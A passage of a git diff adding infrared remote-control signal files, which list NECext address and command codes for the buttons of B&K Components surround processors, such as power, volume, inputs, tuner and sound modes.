+protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: AUDIO_SUB+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: BK001_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: BALANCE_L +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: BK001_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: BALANCE_R +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: DELAY_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 21 00 00 00 +# +name: DELAY_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 21 00 00 00 +# +name: DELAY_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 22 00 00 00 +# +name: DELAY_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 22 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: 00_VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: BK001_VOLUME- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: MASTER_VOLUME- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: 00_VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: BK001_VOLUME+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: MASTER_VOLUME+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 25 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 26 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: BK001_NUMBER_+10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: NUMBER_+10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: BK001_EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: AUDIO_EQ(STEP) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: BK001_DVD-AUDIO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: AUDIO_DVD_AUDIO_PCM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: BK001_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: BK001_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: BK001_MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: BK001_ENTER/SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: BK001_NUMBER_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: BK001_NUMBER_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: BK001_NUMBER_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: VIDEO_CONTRAST- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: BK001_NUMBER_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: BK001_NUMBER_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: BK001_NUMBER_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: BK001_NUMBER_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: BK001_NUMBER_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: BK001_NUMBER_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: BK001_NUMBER_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: BK001_Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: BK001_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: AUDIO_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: TUNER_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: VIDEO_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: VIDEO_BLOCK_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 41 00 00 00 +# +name: VIDEO_STRETCH+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 45 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: BK001_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: INPUT_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: SOURCE_IN_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4B 00 00 00 +# +name: BK001_PRESET+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4B 00 00 00 +# +name: VIDEO_SHARP- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4C 00 00 00 +# +name: PAN_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: BK001_PANORAMA+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: VIDEO_STRETCH_2.35 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 51 00 00 00 +# +name: BK001_INFO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: VIDEO_BRIGHT- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 54 00 00 00 +# +name: VIDEO_CONTROL_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 56 00 00 00 +# +name: SOURCE_IN_11 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 57 00 00 00 +# +name: VIDEO_ZOOM+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 59 00 00 00 +# +name: VIDEO_DETAIL- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 5E 00 00 00 +# +name: VIDEO_LUMA_TRANSIENT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 61 00 00 00 +# +name: BASS_-- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: BK001_BASS- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: AUDIO_BASS- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: DPL +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: BK001_GAME +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: AUDIO_DOLBY_GAME +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: SOURCE_IN_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6E 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: MOVIE_PG_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: BK001_MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: AUDIO_MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: TUNER_PREVIOUS +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 73 00 00 00 +# +name: VIDEO_COLOR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 74 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: BK001_AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: TUNER_AM_BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: SOURCE_IN_14 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 77 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: TREB_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: BK001_TREBLE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: AUDIO_TREBLE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: VIDEO_SOURCE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7A 00 00 00 +# +name: BK001_EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: VIDEO_MOSQUITO_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7E 00 00 00 +# +name: DIM_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 81 00 00 00 +# +name: BK001_DIMENSION+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 81 00 00 00 +# +name: VIDEO_STRETCH- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 85 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: BK001_CINEMA +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: AUDIO_CINEMA +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: VIDEO_SHARP+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8C 00 00 00 +# +name: VIDEO_PREFERENCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: BK001_FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: TUNER_FM_BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: VIDEO_PILLAR_BOX_ASP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 91 00 00 00 +# +name: VIDEO_BRIGHT+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 94 00 00 00 +# +name: SOURCE_IN_10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 97 00 00 00 +# +name: VIDEO_ZOOM- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 99 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: BK001_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: AUDIO_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: VIDEO_WIDE_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9C 00 00 00 +# +name: IMG_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: BK001_IMAGE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: VIDEO_CHROMA_ENHANCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A1 00 00 00 +# +name: TUNER_SEEK+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A5 00 00 00 +# +name: NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: NEO_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: BK001_NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: AUDIO_DTS_NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: VIDEO_LIP_SYNC+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B1 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: MUSIC_PG_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: BK001_MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: AUDIO_MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: BK001_SLEEP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B3 00 00 00 +# +name: VIDEO_SLEEP_TIMER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B3 00 00 00 +# +name: VIDEO_COLOR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B4 00 00 00 +# +name: SOURCE_IN_13 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B7 00 00 00 +# +name: AUDIO_SOURCE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: BA 00 00 00 +# +name: VIDEO_TEMPORAL_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: BE 00 00 00 +# +name: TUNER_GUIDE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C3 00 00 00 +# +name: TUNER_SEEK- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C5 00 00 00 +# +name: BK001_PRESET- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C6 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: BK001_SURROUND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: PAN_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: BK001_PANORAMA- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: VIDEO_LIP_SYNC- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D1 00 00 00 +# +name: AUDIO_LAST_INPUT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D3 00 00 00 +# +name: VIDEO_CONTRAST+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D4 00 00 00 +# +name: VIDEO_CONTROL_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D6 00 00 00 +# +name: SOURCE_IN_12 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D7 00 00 00 +# +name: AUDIO_SOURCE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: DA 00 00 00 +# +name: VIDEO_DETAIL+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: DE 00 00 00 +# +name: VIDEO_ASPECT(STEP) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E1 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: BK001_STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: AUDIO_STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: BK001_BASS+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: AUDIO_BASS+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: DPLII +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: DPL_II +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: BK001_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: AUDIO_DOLBY_PLIIX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: TUNER_STEREO_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EB 00 00 00 +# +name: VIDEO_NO_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EC 00 00 00 +# +name: IMG_-- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: IMG_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: BK001_IMAGE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: VIDEO_HUE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F4 00 00 00 +# +name: AUDIO_PREFERENCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F5 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: TREB_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: BK001_TREBLE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: AUDIO_TREBLE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: VIDEO_SOURCE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FA 00 00 00 +# +name: DIM_-- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FE 00 00 00 +# +name: DIM_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FE 00 00 00 +# +name: BK001_DIMENSION- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir new file mode 100644 index 000000000..a14b04353 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir @@ -0,0 +1,440 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: IN_1_VCR +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: IN_3_TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 07 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: IN_2_TIVO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: IN_7_TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: IN_4_DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: IN_5_CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 15 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 16 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 18 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 19 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1A 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1D 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 24 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2A 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: IN_6_SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 6E 00 00 00 +# +name: AM_TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 7D 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8A 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 0B 